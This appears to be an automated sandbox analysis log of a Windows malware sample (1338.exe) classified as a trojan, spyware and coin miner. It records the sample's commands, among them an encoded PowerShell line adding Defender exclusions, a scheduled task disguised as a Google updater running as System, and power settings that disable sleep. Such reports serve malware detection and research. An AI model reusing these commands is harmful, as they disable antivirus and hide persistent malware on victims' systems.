Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "ossgiopsxz
Source: C:\Users\user\Desktop\1338.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\1338.exe	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"C:\Program Files\Google\Chrome\updater.exe^"'	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"C:\Program Files\Google\Chrome\updater.exe"'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "ossgiopsxz	Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process WHERE CommandLine LIKE '%vsacxjoagfdpyf%'

Source: C:\Windows\System32\conhost.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luxykyrv.0d4.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@52/13@0/0

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\conhost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3396:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2812:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5952:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4452:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_01

Source: C:\Windows\System32\conhost.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 1338.exe

Static file information: File size 1951744 > 1048576

Source: C:\Windows\System32\conhost.exe	Directory created: C:\Program Files\Google\Chrome\updater.exe	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Directory created: C:\Program Files\Google\Libs	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Directory created: C:\Program Files\Google\Telemetry	Jump to behavior

Source: 1338.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x1dac00

Source:

Binary string: H:\CRYPTOCOIN\Mandark-master\obj\x64\Release\ClassLibrary.pdb source: conhost.exe, 00000018.00000002.674440898.0000027E779F0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"C:\Program Files\Google\Chrome\updater.exe^"'
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"C:\Program Files\Google\Chrome\updater.exe^"'			Jump to behavior

Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_005DD44E push rsp; iretd	0_2_005DD44F
Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_005DDAC0 push rax; retf 0009h	0_2_005DDAC1
Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_005DD900 push rax; ret	0_2_005DD901
Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_005DDB00 push rax; retf	0_2_005DDB01
Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_005DDC00 push rax; iretd	0_2_005DDC01
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9F1B509C2 push cs; ret	4_2_00007FF9F1B50BFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9F1B54FFD push eax; iretd	4_2_00007FF9F1B550A1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9F1B57317 push ebx; iretd	4_2_00007FF9F1B5731A
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_00007FF9F1C079BB push esi; retf	24_2_00007FF9F1C079BC
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00409AC0 push rax; retf 0009h	37_2_00409AC1
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_0040944E push rsp; iretd	37_2_0040944F
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00409900 push rax; ret	37_2_00409901
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00409B00 push rax; retf	37_2_00409B01
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00409C00 push rax; iretd	37_2_00409C01

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\conhost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Source: C:\Windows\System32\conhost.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"C:\Program Files\Google\Chrome\updater.exe"'

Source: C:\Windows\System32\conhost.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
